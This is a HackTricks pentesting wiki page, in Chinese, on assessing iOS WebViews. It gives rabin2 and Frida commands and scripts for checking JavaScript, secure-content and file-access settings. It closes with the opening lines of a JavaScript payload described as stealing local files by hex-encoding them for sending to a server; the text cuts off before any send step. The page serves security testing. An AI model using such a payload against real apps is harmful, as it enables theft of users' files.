hacktricks
  • 👾Welcome!
    • HackTricks
  • 🤩Generic Methodologies & Resources
    • Pentesting Methodology
    • External Recon Methodology
      • Wide Source Code Search
      • Github Dorks & Leaks
    • Pentesting Network
      • DHCPv6
      • EIGRP Attacks
      • GLBP & HSRP Attacks
      • IDS and IPS Evasion
      • Lateral VLAN Segmentation Bypass
      • Network Protocols Explained (ESP)
      • Nmap Summary (ESP)
      • Pentesting IPv6
      • Spoofing LLMNR, NBT-NS, mDNS/DNS and WPAD and Relay Attacks
      • Spoofing SSDP and UPnP Devices with EvilSSDP
    • Pentesting Wifi
      • Evil Twin EAP-TLS
    • Phishing Methodology
      • Clone a Website
      • Detecting Phishing
      • Phishing Files & Documents
    • Basic Forensic Methodology
      • Baseline Monitoring
      • Anti-Forensic Techniques
      • Docker Forensics
      • Image Acquisition & Mount
      • Linux Forensics
      • Malware Analysis
      • Memory dump analysis
        • Volatility - CheatSheet
      • Partitions/File Systems/Carving
        • File/Data Carving & Recovery Tools
      • Pcap Inspection
        • DNSCat pcap analysis
        • Suricata & Iptables cheatsheet
        • USB Keystrokes
        • Wifi Pcap Analysis
        • Wireshark tricks
      • Specific Software/File-Type Tricks
        • Decompile compiled python binaries (exe, elf) - Retreive from .pyc
        • Browser Artifacts
        • Deofuscation vbs (cscript.exe)
        • Local Cloud Storage
        • Office file analysis
        • PDF File analysis
        • PNG tricks
        • Video and Audio file analysis
        • ZIPs tricks
      • Windows Artifacts
        • Interesting Windows Registry Keys
    • Brute Force - CheatSheet
    • Python Sandbox Escape & Pyscript
      • Bypass Python sandboxes
        • LOAD_NAME / LOAD_CONST opcode OOB Read
      • Class Pollution (Python's Prototype Pollution)
      • Python Internal Read Gadgets
      • Pyscript
      • venv
      • Web Requests
      • Bruteforce hash (few chars)
      • Basic Python
    • Exfiltration
    • Tunneling and Port Forwarding
    • Threat Modeling
    • Search Exploits
    • Shells (Linux, Windows, MSFVenom)
      • MSFVenom - CheatSheet
      • Shells - Windows
      • Shells - Linux
      • Full TTYs
  • 🐧Linux Hardening
    • Checklist - Linux Privilege Escalation
    • Linux Privilege Escalation
      • Arbitrary File Write to Root
      • Cisco - vmanage
      • Containerd (ctr) Privilege Escalation
      • D-Bus Enumeration & Command Injection Privilege Escalation
      • Docker Security
        • Abusing Docker Socket for Privilege Escalation
        • AppArmor
        • AuthZ& AuthN - Docker Access Authorization Plugin
        • CGroups
        • Docker --privileged
        • Docker Breakout / Privilege Escalation
          • release_agent exploit - Relative Paths to PIDs
          • Docker release_agent cgroups escape
          • Sensitive Mounts
        • Namespaces
          • CGroup Namespace
          • IPC Namespace
          • PID Namespace
          • Mount Namespace
          • Network Namespace
          • Time Namespace
          • User Namespace
          • UTS Namespace
        • Seccomp
        • Weaponizing Distroless
      • Escaping from Jails
      • euid, ruid, suid
      • Interesting Groups - Linux Privesc
        • lxd/lxc Group - Privilege escalation
      • Logstash
      • ld.so privesc exploit example
      • Linux Active Directory
      • Linux Capabilities
      • NFS no_root_squash/no_all_squash misconfiguration PE
      • Node inspector/CEF debug abuse
      • Payloads to execute
      • RunC Privilege Escalation
      • SELinux
      • Socket Command Injection
      • Splunk LPE and Persistence
      • SSH Forward Agent exploitation
      • Wildcards Spare tricks
    • Useful Linux Commands
    • Bypass Linux Restrictions
      • Bypass FS protections: read-only / no-exec / Distroless
        • DDexec / EverythingExec
    • Linux Environment Variables
    • Linux Post-Exploitation
      • PAM - Pluggable Authentication Modules
    • FreeIPA Pentesting
  • 🍏MacOS Hardening
    • macOS Security & Privilege Escalation
      • macOS Apps - Inspecting, debugging and Fuzzing
        • Introduction to x64
        • Introduction to ARM64v8
      • macOS AppleFS
      • macOS Bypassing Firewalls
      • macOS Defensive Apps
      • macOS GCD - Grand Central Dispatch
      • macOS Kernel & System Extensions
        • macOS IOKit
        • macOS Kernel Extensions
        • macOS Kernel Vulnerabilities
        • macOS System Extensions
      • macOS Network Services & Protocols
      • macOS File Extension & URL scheme app handlers
      • macOS Files, Folders, Binaries & Memory
        • macOS Bundles
        • macOS Installers Abuse
        • macOS Memory Dumping
        • macOS Sensitive Locations & Interesting Daemons
        • macOS Universal binaries & Mach-O Format
      • macOS Objective-C
      • macOS Privilege Escalation
      • macOS Process Abuse
        • macOS Dirty NIB
        • macOS Chromium Injection
        • macOS Electron Applications Injection
        • macOS Function Hooking
        • macOS IPC - Inter Process Communication
          • macOS MIG - Mach Interface Generator
          • macOS XPC
            • macOS XPC Authorization
            • macOS XPC Connecting Process Check
              • macOS PID Reuse
              • macOS xpc_connection_get_audit_token Attack
          • macOS Thread Injection via Task port
        • macOS Java Applications Injection
        • macOS Library Injection
          • macOS Dyld Hijacking & DYLD_INSERT_LIBRARIES
          • macOS Dyld Process
        • macOS Perl Applications Injection
        • macOS Python Applications Injection
        • macOS Ruby Applications Injection
        • macOS .Net Applications Injection
      • macOS Security Protections
        • macOS Gatekeeper / Quarantine / XProtect
        • macOS Launch/Environment Constraints & Trust Cache
        • macOS Sandbox
          • macOS Default Sandbox Debug
          • macOS Sandbox Debug & Bypass
            • macOS Office Sandbox Bypasses
        • macOS SIP
        • macOS TCC
          • macOS Apple Events
          • macOS TCC Bypasses
            • macOS Apple Scripts
          • macOS TCC Payloads
        • macOS Dangerous Entitlements & TCC perms
        • macOS FS Tricks
          • macOS xattr-acls extra stuff
      • macOS Users
    • macOS Red Teaming
      • macOS MDM
        • Enrolling Devices in Other Organisations
        • macOS Serial Number
      • macOS Keychain
    • macOS Useful Commands
    • macOS Auto Start
  • 🪟Windows Hardening
    • Checklist - Local Windows Privilege Escalation
    • Windows Local Privilege Escalation
      • Abusing Tokens
      • Access Tokens
      • ACLs - DACLs/SACLs/ACEs
      • AppendData/AddSubdirectory permission over service registry
      • Create MSI with WIX
      • COM Hijacking
      • Dll Hijacking
        • Writable Sys Path +Dll Hijacking Privesc
      • DPAPI - Extracting Passwords
      • From High Integrity to SYSTEM with Name Pipes
      • Integrity Levels
      • JuicyPotato
      • Leaked Handle Exploitation
      • MSI Wrapper
      • Named Pipe Client Impersonation
      • Privilege Escalation with Autoruns
      • RoguePotato, PrintSpoofer, SharpEfsPotato, GodPotato
      • SeDebug + SeImpersonate copy token
      • SeImpersonate from High To System
      • Windows C Payloads
    • Active Directory Methodology
      • Abusing Active Directory ACLs/ACEs
        • Shadow Credentials
      • AD Certificates
        • AD CS Account Persistence
        • AD CS Domain Escalation
        • AD CS Domain Persistence
        • AD CS Certificate Theft
      • AD information in printers
      • AD DNS Records
      • ASREPRoast
      • BloodHound & Other AD Enum Tools
      • Constrained Delegation
      • Custom SSP
      • DCShadow
      • DCSync
      • Diamond Ticket
      • DSRM Credentials
      • External Forest Domain - OneWay (Inbound) or bidirectional
      • External Forest Domain - One-Way (Outbound)
      • Golden Ticket
      • Kerberoast
      • Kerberos Authentication
      • Kerberos Double Hop Problem
      • LAPS
      • MSSQL AD Abuse
      • Over Pass the Hash/Pass the Key
      • Pass the Ticket
      • Password Spraying / Brute Force
      • PrintNightmare
      • Force NTLM Privileged Authentication
      • Privileged Groups
      • RDP Sessions Abuse
      • Resource-based Constrained Delegation
      • Security Descriptors
      • SID-History Injection
      • Silver Ticket
      • Skeleton Key
      • Unconstrained Delegation
    • Windows Security Controls
      • UAC - User Account Control
    • NTLM
      • Places to steal NTLM creds
    • Lateral Movement
      • AtExec / SchtasksExec
      • DCOM Exec
      • PsExec/Winexec/ScExec
      • SmbExec/ScExec
      • WinRM
      • WmicExec
    • Pivoting to the Cloud
    • Stealing Windows Credentials
      • Windows Credentials Protections
      • Mimikatz
      • WTS Impersonator
    • Basic Win CMD for Pentesters
    • Basic PowerShell for Pentesters
      • PowerView/SharpView
    • Antivirus (AV) Bypass
  • 📱Mobile Pentesting
    • Android APK Checklist
    • Android Applications Pentesting
      • Android Applications Basics
      • Android Task Hijacking
      • ADB Commands
      • APK decompilers
      • AVD - Android Virtual Device
      • Bypass Biometric Authentication (Android)
      • content:// protocol
      • Drozer Tutorial
        • Exploiting Content Providers
      • Exploiting a debuggeable application
      • Frida Tutorial
        • Frida Tutorial 1
        • Frida Tutorial 2
        • Frida Tutorial 3
        • Objection Tutorial
      • Google CTF 2018 - Shall We Play a Game?
      • Install Burp Certificate
      • Intent Injection
      • Make APK Accept CA Certificate
      • Manual DeObfuscation
      • React Native Application
      • Reversing Native Libraries
      • Smali - Decompiling/[Modifying]/Compiling
      • Spoofing your location in Play Store
      • Tapjacking
      • Webview Attacks
    • iOS Pentesting Checklist
    • iOS Pentesting
      • iOS App Extensions
      • iOS Basics
      • iOS Basic Testing Operations
      • iOS Burp Suite Configuration
      • iOS Custom URI Handlers / Deeplinks / Custom Schemes
      • iOS Extracting Entitlements From Compiled Application
      • iOS Frida Configuration
      • iOS Hooking With Objection
      • iOS Protocol Handlers
      • iOS Serialisation and Encoding
      • iOS Testing Environment
      • iOS UIActivity Sharing
      • iOS Universal Links
      • iOS UIPasteboard
      • iOS WebViews
    • Cordova Apps
    • Xamarin Apps
  • 👽Network Services Pentesting
    • Pentesting JDWP - Java Debug Wire Protocol
    • Pentesting Printers
    • Pentesting SAP
    • Pentesting VoIP
      • Basic VoIP Protocols
        • SIP (Session Initiation Protocol)
    • Pentesting Remote GdbServer
    • 7/tcp/udp - Pentesting Echo
    • 21 - Pentesting FTP
      • FTP Bounce attack - Scan
      • FTP Bounce - Download 2ºFTP file
    • 22 - Pentesting SSH/SFTP
    • 23 - Pentesting Telnet
    • 25,465,587 - Pentesting SMTP/s
      • SMTP Smuggling
      • SMTP - Commands
    • 43 - Pentesting WHOIS
    • 49 - Pentesting TACACS+
    • 53 - Pentesting DNS
    • 69/UDP TFTP/Bittorrent-tracker
    • 79 - Pentesting Finger
    • 80,443 - Pentesting Web Methodology
      • 403 & 401 Bypasses
      • AEM - Adobe Experience Cloud
      • Angular
      • Apache
      • Artifactory Hacking guide
      • Bolt CMS
      • Buckets
        • Firebase Database
      • CGI
      • DotNetNuke (DNN)
      • Drupal
      • Electron Desktop Apps
        • Electron contextIsolation RCE via preload code
        • Electron contextIsolation RCE via Electron internal code
        • Electron contextIsolation RCE via IPC
      • Flask
      • NodeJS Express
      • Git
      • Golang
      • GWT - Google Web Toolkit
      • Grafana
      • GraphQL
      • H2 - Java SQL database
      • IIS - Internet Information Services
      • ImageMagick Security
      • JBOSS
      • JIRA
      • Joomla
      • JSP
      • Laravel
      • Moodle
      • Nginx
      • PHP Tricks
        • PHP - Useful Functions & disable_functions/open_basedir bypass
          • disable_functions bypass - php-fpm/FastCGI
          • disable_functions bypass - dl function
          • disable_functions bypass - PHP 7.0-7.4 (*nix only)
          • disable_functions bypass - Imagick <= 3.3.0 PHP >= 5.4 Exploit
          • disable_functions - PHP 5.x Shellshock Exploit
          • disable_functions - PHP 5.2.4 ionCube extension Exploit
          • disable_functions bypass - PHP <= 5.2.9 on windows
          • disable_functions bypass - PHP 5.2.4 and 5.2.5 PHP cURL
          • disable_functions bypass - PHP safe_mode bypass via proc_open() and custom environment Exploit
          • disable_functions bypass - PHP Perl Extension Safe_mode Bypass Exploit
          • disable_functions bypass - PHP 5.2.3 - Win32std ext Protections Bypass
          • disable_functions bypass - PHP 5.2 - FOpen Exploit
          • disable_functions bypass - via mem
          • disable_functions bypass - mod_cgi
          • disable_functions bypass - PHP 4 >= 4.2.0, PHP 5 pcntl_exec
        • PHP - RCE abusing object creation: new $_GET["a"]($_GET["b"])
        • PHP SSRF
      • Python
      • Rocket Chat
      • Special HTTP headers
      • Source code Review / SAST Tools
      • Spring Actuators
      • Symfony
      • Tomcat
        • Basic Tomcat Info
      • Uncovering CloudFlare
      • VMWare (ESX, VCenter...)
      • WAF Bypass
      • Web API Pentesting
      • WebDav
      • Werkzeug / Flask Debug
      • Wordpress
    • 88tcp/udp - Pentesting Kerberos
      • Harvesting tickets from Windows
      • Harvesting tickets from Linux
    • 110,995 - Pentesting POP
    • 111/TCP/UDP - Pentesting Portmapper
    • 113 - Pentesting Ident
    • 123/udp - Pentesting NTP
    • 135, 593 - Pentesting MSRPC
    • 137,138,139 - Pentesting NetBios
    • 139,445 - Pentesting SMB
      • rpcclient enumeration
    • 143,993 - Pentesting IMAP
    • 161,162,10161,10162/udp - Pentesting SNMP
      • Cisco SNMP
      • SNMP RCE
    • 194,6667,6660-7000 - Pentesting IRC
    • 264 - Pentesting Check Point FireWall-1
    • 389, 636, 3268, 3269 - Pentesting LDAP
    • 500/udp - Pentesting IPsec/IKE VPN
    • 502 - Pentesting Modbus
    • 512 - Pentesting Rexec
    • 513 - Pentesting Rlogin
    • 514 - Pentesting Rsh
    • 515 - Pentesting Line Printer Daemon (LPD)
    • 548 - Pentesting Apple Filing Protocol (AFP)
    • 554,8554 - Pentesting RTSP
    • 623/UDP/TCP - IPMI
    • 631 - Internet Printing Protocol(IPP)
    • 700 - Pentesting EPP
    • 873 - Pentesting Rsync
    • 1026 - Pentesting Rusersd
    • 1080 - Pentesting Socks
    • 1098/1099/1050 - Pentesting Java RMI - RMI-IIOP
    • 1414 - Pentesting IBM MQ
    • 1433 - Pentesting MSSQL - Microsoft SQL Server
      • Types of MSSQL Users
    • 1521,1522-1529 - Pentesting Oracle TNS Listener
    • 1723 - Pentesting PPTP
    • 1883 - Pentesting MQTT (Mosquitto)
    • 2049 - Pentesting NFS Service
    • 2301,2381 - Pentesting Compaq/HP Insight Manager
    • 2375, 2376 Pentesting Docker
    • 3128 - Pentesting Squid
    • 3260 - Pentesting ISCSI
    • 3299 - Pentesting SAPRouter
    • 3306 - Pentesting Mysql
    • 3389 - Pentesting RDP
    • 3632 - Pentesting distcc
    • 3690 - Pentesting Subversion (svn server)
    • 3702/UDP - Pentesting WS-Discovery
    • 4369 - Pentesting Erlang Port Mapper Daemon (epmd)
    • 4786 - Cisco Smart Install
    • 4840 - OPC Unified Architecture
    • 5000 - Pentesting Docker Registry
    • 5353/UDP Multicast DNS (mDNS) and DNS-SD
    • 5432,5433 - Pentesting Postgresql
    • 5439 - Pentesting Redshift
    • 5555 - Android Debug Bridge
    • 5601 - Pentesting Kibana
    • 5671,5672 - Pentesting AMQP
    • 5800,5801,5900,5901 - Pentesting VNC
    • 5984,6984 - Pentesting CouchDB
    • 5985,5986 - Pentesting WinRM
    • 5985,5986 - Pentesting OMI
    • 6000 - Pentesting X11
    • 6379 - Pentesting Redis
    • 8009 - Pentesting Apache JServ Protocol (AJP)
    • 8086 - Pentesting InfluxDB
    • 8089 - Pentesting Splunkd
    • 8333,18333,38333,18444 - Pentesting Bitcoin
    • 9000 - Pentesting FastCGI
    • 9001 - Pentesting HSQLDB
    • 9042/9160 - Pentesting Cassandra
    • 9100 - Pentesting Raw Printing (JetDirect, AppSocket, PDL-datastream)
    • 9200 - Pentesting Elasticsearch
    • 10000 - Pentesting Network Data Management Protocol (ndmp)
    • 11211 - Pentesting Memcache
      • Memcache Commands
    • 15672 - Pentesting RabbitMQ Management
    • 24007,24008,24009,49152 - Pentesting GlusterFS
    • 27017,27018 - Pentesting MongoDB
    • 44134 - Pentesting Tiller (Helm)
    • 44818/UDP/TCP - Pentesting EthernetIP
    • 47808/udp - Pentesting BACNet
    • 50030,50060,50070,50075,50090 - Pentesting Hadoop
  • 🕸️Pentesting Web
    • Web Vulnerabilities Methodology
    • Reflecting Techniques - PoCs and Polygloths CheatSheet
      • Web Vulns List
    • 2FA/OTP Bypass
    • Account Takeover
    • Browser Extension Pentesting Methodology
      • BrowExt - ClickJacking
      • BrowExt - permissions & host_permissions
      • BrowExt - XSS Example
    • Bypass Payment Process
    • Captcha Bypass
    • Cache Poisoning and Cache Deception
      • Cache Poisoning to DoS
    • Clickjacking
    • Client Side Template Injection (CSTI)
    • Client Side Path Traversal
    • Command Injection
    • Content Security Policy (CSP) Bypass
      • CSP bypass: self + 'unsafe-inline' with Iframes
    • Cookies Hacking
      • Cookie Tossing
      • Cookie Jar Overflow
      • Cookie Bomb
    • CORS - Misconfigurations & Bypass
    • CRLF (%0D%0A) Injection
    • CSRF (Cross Site Request Forgery)
    • Dangling Markup - HTML scriptless injection
      • SS-Leaks
    • Dependency Confusion
    • Deserialization
      • NodeJS - __proto__ & prototype Pollution
        • Client Side Prototype Pollution
        • Express Prototype Pollution Gadgets
        • Prototype Pollution to RCE
      • Java JSF ViewState (.faces) Deserialization
      • Java DNS Deserialization, GadgetProbe and Java Deserialization Scanner
      • Basic Java Deserialization (ObjectInputStream, readObject)
      • PHP - Deserialization + Autoload Classes
      • CommonsCollection1 Payload - Java Transformers to Rutime exec() and Thread Sleep
      • Basic .Net deserialization (ObjectDataProvider gadget, ExpandedWrapper, and Json.Net)
      • Exploiting __VIEWSTATE knowing the secrets
      • Exploiting __VIEWSTATE without knowing the secrets
      • Python Yaml Deserialization
      • JNDI - Java Naming and Directory Interface & Log4Shell
    • Domain/Subdomain takeover
    • Email Injections
    • File Inclusion/Path traversal
      • phar:// deserialization
      • LFI2RCE via PHP Filters
      • LFI2RCE via Nginx temp files
      • LFI2RCE via PHP_SESSION_UPLOAD_PROGRESS
      • LFI2RCE via Segmentation Fault
      • LFI2RCE via phpinfo()
      • LFI2RCE Via temp file uploads
      • LFI2RCE via Eternal waiting
      • LFI2RCE Via compress.zlib + PHP_STREAM_PREFER_STUDIO + Path Disclosure
    • File Upload
      • PDF Upload - XXE and CORS bypass
    • Formula/CSV/Doc/LaTeX/GhostScript Injection
    • gRPC-Web Pentest
    • HTTP Connection Contamination
    • HTTP Connection Request Smuggling
    • HTTP Request Smuggling / HTTP Desync Attack
      • Browser HTTP Request Smuggling
      • Request Smuggling in HTTP/2 Downgrades
    • HTTP Response Smuggling / Desync
    • Upgrade Header Smuggling
    • hop-by-hop headers
    • IDOR
    • Integer Overflow
    • JWT Vulnerabilities (Json Web Tokens)
    • LDAP Injection
    • Login Bypass
      • Login bypass List
    • NoSQL injection
    • OAuth to Account takeover
    • Open Redirect
    • Parameter Pollution
    • Phone Number Injections
    • PostMessage Vulnerabilities
      • Blocking main page to steal postmessage
      • Bypassing SOP with Iframes - 1
      • Bypassing SOP with Iframes - 2
      • Steal postmessage modifying iframe location
    • Proxy / WAF Protections Bypass
    • Race Condition
    • Rate Limit Bypass
    • Registration & Takeover Vulnerabilities
    • Regular expression Denial of Service - ReDoS
    • Reset/Forgotten Password Bypass
    • SAML Attacks
      • SAML Basics
    • Server Side Inclusion/Edge Side Inclusion Injection
    • SQL Injection
      • MS Access SQL Injection
      • MSSQL Injection
      • MySQL injection
        • MySQL File priv to SSRF/RCE
      • Oracle injection
      • Cypher Injection (neo4j)
      • PostgreSQL injection
        • dblink/lo_import data exfiltration
        • PL/pgSQL Password Bruteforce
        • Network - Privesc, Port Scanner and NTLM chanllenge response disclosure
        • Big Binary Files Upload (PostgreSQL)
        • RCE with PostgreSQL Languages
        • RCE with PostgreSQL Extensions
      • SQLMap - Cheetsheat
        • Second Order Injection - SQLMap
    • SSRF (Server Side Request Forgery)
      • URL Format Bypass
      • SSRF Vulnerable Platforms
      • Cloud SSRF
    • SSTI (Server Side Template Injection)
      • EL - Expression Language
      • Jinja2 SSTI
    • Reverse Tab Nabbing
    • Unicode Injection
      • Unicode Normalization
    • WebSocket Attacks
    • Web Tool - WFuzz
    • XPATH injection
    • XSLT Server Side Injection (Extensible Stylesheet Language Transformations)
    • XXE - XEE - XML External Entity
    • XSS (Cross Site Scripting)
      • Abusing Service Workers
      • Chrome Cache to XSS
      • Debugging Client Side JS
      • Dom Clobbering
      • DOM Invader
      • DOM XSS
      • Iframes in XSS, CSP and SOP
      • JS Hoisting
      • Misc JS Tricks & Relevant Info
      • PDF Injection
      • Server Side XSS (Dynamic PDF)
      • Shadow DOM
      • SOME - Same Origin Method Execution
      • Sniff Leak
      • Steal Info JS
      • XSS in Markdown
    • XSSI (Cross-Site Script Inclusion)
    • XS-Search/XS-Leaks
      • Connection Pool Examples
      • Connection Pool by Destination Example
      • Cookie Bomb + Onerror XS Leak
      • URL Max Length - Client Side
      • performance.now example
      • performance.now + Force heavy task
      • Event Loop Blocking + Lazy images
      • JavaScript Execution XS Leak
      • CSS Injection
        • CSS Injection Code
  • ⛈️Cloud Security
    • Pentesting Kubernetes
    • Pentesting Cloud (AWS, GCP, Az...)
    • Pentesting CI/CD (Github, Jenkins, Terraform...)
  • 😎Hardware/Physical Access
    • Physical Attacks
    • Escaping from KIOSKs
    • Firmware Analysis
      • Bootloader testing
      • Firmware Integrity
  • 🎯Binary Exploitation
    • Basic Binary Exploitation Methodology
      • ELF Basic Information
      • Exploiting Tools
        • PwnTools
    • Stack Overflow
      • Pointer Redirecting
      • Ret2win
        • Ret2win - arm64
      • Stack Shellcode
        • Stack Shellcode - arm64
      • Stack Pivoting - EBP2Ret - EBP chaining
      • Uninitialized Variables
    • ROP - Return Oriented Programing
      • BROP - Blind Return Oriented Programming
      • Ret2csu
      • Ret2dlresolve
      • Ret2esp / Ret2reg
      • Ret2lib
        • Leaking libc address with ROP
          • Leaking libc - template
        • One Gadget
        • Ret2lib + Printf leak - arm64
      • Ret2syscall
        • Ret2syscall - ARM64
      • Ret2vDSO
      • SROP - Sigreturn-Oriented Programming
        • SROP - ARM64
    • Array Indexing
    • Integer Overflow
    • Format Strings
      • Format Strings - Arbitrary Read Example
      • Format Strings Template
    • Heap
      • Use After Free
      • Heap Overflow
    • Common Binary Exploitation Protections & Bypasses
      • ASLR
        • Ret2plt
        • Ret2ret & Reo2pop
      • CET & Shadow Stack
      • Libc Protections
      • Memory Tagging Extension (MTE)
      • No-exec / NX
      • PIE
        • BF Addresses in the Stack
      • Relro
      • Stack Canaries
        • BF Forked & Threaded Stack Canaries
        • Print Stack Canary
    • Write What Where 2 Exec
      • WWW2Exec - atexit()
      • WWW2Exec - .dtors & .fini_array
      • WWW2Exec - GOT/PLT
      • WWW2Exec - __malloc_hook
    • Common Exploiting Problems
    • Windows Exploiting (Basic Guide - OSCP lvl)
    • Linux Exploiting (Basic) (SPA)
  • 🔩Reversing
    • Reversing Tools & Basic Methods
      • Angr
        • Angr - Examples
      • Z3 - Satisfiability Modulo Theories (SMT)
      • Cheat Engine
      • Blobrunner
    • Common API used in Malware
    • Word Macros
  • 🔮Crypto & Stego
    • Cryptographic/Compression Algorithms
      • Unpacking binaries
    • Certificates
    • Cipher Block Chaining CBC-MAC
    • Crypto CTFs Tricks
    • Electronic Code Book (ECB)
    • Hash Length Extension Attack
    • Padding Oracle
    • RC4 - Encrypt&Decrypt
    • Stego Tricks
    • Esoteric languages
    • Blockchain & Crypto Currencies
  • 🦂C2
    • Salseo
    • ICMPsh
    • Cobalt Strike
  • ✍️TODO
    • Other Big References
    • Rust Basics
    • More Tools
    • MISC
    • Pentesting DNS
    • Hardware Hacking
      • I2C
      • UART
      • Radio
      • JTAG
      • SPI
    • Radio Hacking
      • Pentesting RFID
      • Infrared
      • Sub-GHz RF
      • iButton
      • Flipper Zero
        • FZ - NFC
        • FZ - Sub-GHz
        • FZ - Infrared
        • FZ - iButton
        • FZ - 125kHz RFID
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由 GitBook 提供支持
在本页
  • WebViews 类型
  • WebViews配置探索摘要
  • 静态分析概述
  • 动态分析见解
  • WebView 协议处理
  • 通过 WebView 暴露的本地方法
  • 了解 iOS 中的 WebView 本地接口
  • 在 Objective-C 中访问 JSContext
  • 与 WKWebView 通信
  • 交互和测试
  • iOS WebViews调试
  • 参考资料
  1. Mobile Pentesting
  2. iOS Pentesting

iOS WebViews

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最后更新于1年前

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此页面的代码摘自。查看页面以获取更多详细信息。

WebViews 类型

WebViews 在应用程序中用于交互式显示 Web 内容。不同类型的 WebViews 为 iOS 应用程序提供不同的功能和安全特性。以下是简要概述:

  • UIWebView,从 iOS 12 开始不再推荐使用,因为它不支持禁用JavaScript,容易受到脚本注入和**跨站脚本(XSS)**攻击的影响。

  • WKWebView 是将 Web 内容整合到应用程序中的首选选项,提供对内容和安全功能的增强控制。JavaScript 默认启用,但必要时可禁用。它还支持防止 JavaScript 自动打开窗口的功能,并确保所有内容安全加载。此外,WKWebView 的架构最大程度地减少了影响主应用程序进程的内存损坏风险。

  • SFSafariViewController 在应用程序内提供标准化的 Web 浏览体验,其特定布局包括只读地址字段、共享和导航按钮,以及直接链接以在 Safari 中打开内容。与WKWebView不同,SFSafariViewController 中无法禁用JavaScript,它还与 Safari 共享 cookie 和数据,保护用户隐私免受应用程序的影响。必须根据 App Store 指南显著显示它。

// Example of disabling JavaScript in WKWebView:
WKPreferences *preferences = [[WKPreferences alloc] init];
preferences.javaScriptEnabled = NO;
WKWebViewConfiguration *config = [[WKWebViewConfiguration alloc] init];
config.preferences = preferences;
WKWebView *webView = [[WKWebView alloc] initWithFrame:CGRectZero configuration:config];

WebViews配置探索摘要

静态分析概述

在检查WebViews配置的过程中,主要关注两种类型:UIWebView和WKWebView。为了在二进制文件中识别这些WebViews,使用命令搜索特定的类引用和初始化方法。

  • UIWebView识别

$ rabin2 -zz ./WheresMyBrowser | egrep "UIWebView$"

这个命令通过在二进制文件中搜索与之相关的文本字符串来定位UIWebView的实例。

  • WKWebView识别

$ rabin2 -zz ./WheresMyBrowser | egrep "WKWebView$"

同样地,对于 WKWebView,这个命令会搜索二进制文件中表明其使用情况的文本字符串。

此外,为了找到 WKWebView 的初始化方式,执行以下命令,针对与其初始化相关的方法签名:

$ rabin2 -zzq ./WheresMyBrowser | egrep "WKWebView.*frame"

JavaScript配置验证

对于WKWebView,强调了除非必要,禁用JavaScript是最佳做法。搜索编译后的二进制文件以确认javaScriptEnabled属性设置为false,确保JavaScript已禁用:

$ rabin2 -zz ./WheresMyBrowser | grep -i "javascriptenabled"

仅安全内容验证

WKWebView 提供了识别混合内容问题的能力,与 UIWebView 相比。这是通过使用 hasOnlySecureContent 属性进行检查,以确保所有页面资源都通过安全连接加载。在编译的二进制文件中执行搜索的步骤如下:

$ rabin2 -zz ./WheresMyBrowser | grep -i "hasonlysecurecontent"

动态分析见解

动态分析涉及检查堆中的 WebView 实例及其属性。使用名为 webviews_inspector.js 的脚本来实现此目的,针对 UIWebView、WKWebView 和 SFSafariViewController 实例。它记录有关找到的实例的信息,包括与 JavaScript 和安全内容相关的 URL 和设置。

可以使用 ObjC.choose() 进行堆检查,以识别 WebView 实例并检查 javaScriptEnabled 和 hasonlysecurecontent 属性。

webviews_inspector.js
ObjC.choose(ObjC.classes['UIWebView'], {
onMatch: function (ui) {
console.log('onMatch: ', ui);
console.log('URL: ', ui.request().toString());
},
onComplete: function () {
console.log('done for UIWebView!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

ObjC.choose(ObjC.classes['SFSafariViewController'], {
onMatch: function (sf) {
console.log('onMatch: ', sf);
},
onComplete: function () {
console.log('done for SFSafariViewController!');
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('javaScriptEnabled:', wk.configuration().preferences().javaScriptEnabled());
}
});

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
}
});

脚本是这样执行的:

frida -U com.authenticationfailure.WheresMyBrowser -l webviews_inspector.js

关键结果:

  • 成功定位和检查 WebView 实例。

  • 验证 JavaScript 启用和安全内容设置。

这份摘要概括了通过静态和动态方法分析 WebView 配置所涉及的关键步骤和命令,重点关注 JavaScript 启用和混合内容检测等安全功能。

WebView 协议处理

在 WebView 中处理内容是一个关键方面,特别是在处理诸如 http(s)://、file:// 和 tel:// 等各种协议时。这些协议允许应用程序加载远程和本地内容。强调了在加载本地内容时,必须采取预防措施,防止用户影响文件的名称或路径,并防止编辑内容本身。

WebViews 提供了不同的内容加载方法。对于 UIWebView(现已弃用),使用 loadHTMLString:baseURL: 和 loadData:MIMEType:textEncodingName:baseURL: 等方法。另一方面,WKWebView 使用 loadHTMLString:baseURL:、loadData:MIMEType:textEncodingName:baseURL: 和 loadRequest: 来加载 web 内容。通常使用 pathForResource:ofType:、URLForResource:withExtension: 和 init(contentsOf:encoding:) 等方法来加载本地文件。特别值得注意的是 loadFileURL:allowingReadAccessToURL: 方法,它能够将特定 URL 或目录加载到 WebView 中,如果指定了目录,则可能会暴露敏感数据。

要在源代码或编译后的二进制文件中找到这些方法,可以使用以下命令:

$ rabin2 -zz ./WheresMyBrowser | grep -i "loadHTMLString"
231 0x0002df6c 24 (4.__TEXT.__objc_methname) ascii loadHTMLString:baseURL:

关于文件访问,UIWebView允许全局访问,而WKWebView引入了allowFileAccessFromFileURLs和allowUniversalAccessFromFileURLs设置来管理从文件URL的访问,两者默认值均为false。

提供了一个Frida脚本示例,用于检查WKWebView的安全设置配置:

ObjC.choose(ObjC.classes['WKWebView'], {
onMatch: function (wk) {
console.log('onMatch: ', wk);
console.log('URL: ', wk.URL().toString());
console.log('javaScriptEnabled: ', wk.configuration().preferences().javaScriptEnabled());
console.log('allowFileAccessFromFileURLs: ',
wk.configuration().preferences().valueForKey_('allowFileAccessFromFileURLs').toString());
console.log('hasOnlySecureContent: ', wk.hasOnlySecureContent().toString());
console.log('allowUniversalAccessFromFileURLs: ',
wk.configuration().valueForKey_('allowUniversalAccessFromFileURLs').toString());
},
onComplete: function () {
console.log('done for WKWebView!');
}
});

最后,一个旨在窃取本地文件的JavaScript有效载荷示例展示了与未正确配置的WebViews相关的潜在安全风险。该有效载荷在将文件内容传输到服务器之前将其编码为十六进制格式,突显了在WebView实现中采取严格安全措施的重要性。

String.prototype.hexEncode = function(){
var hex, i;
var result = "";
for (i=0; i<this.length; i++) {
hex = this.charCodeAt(i).toString(16);
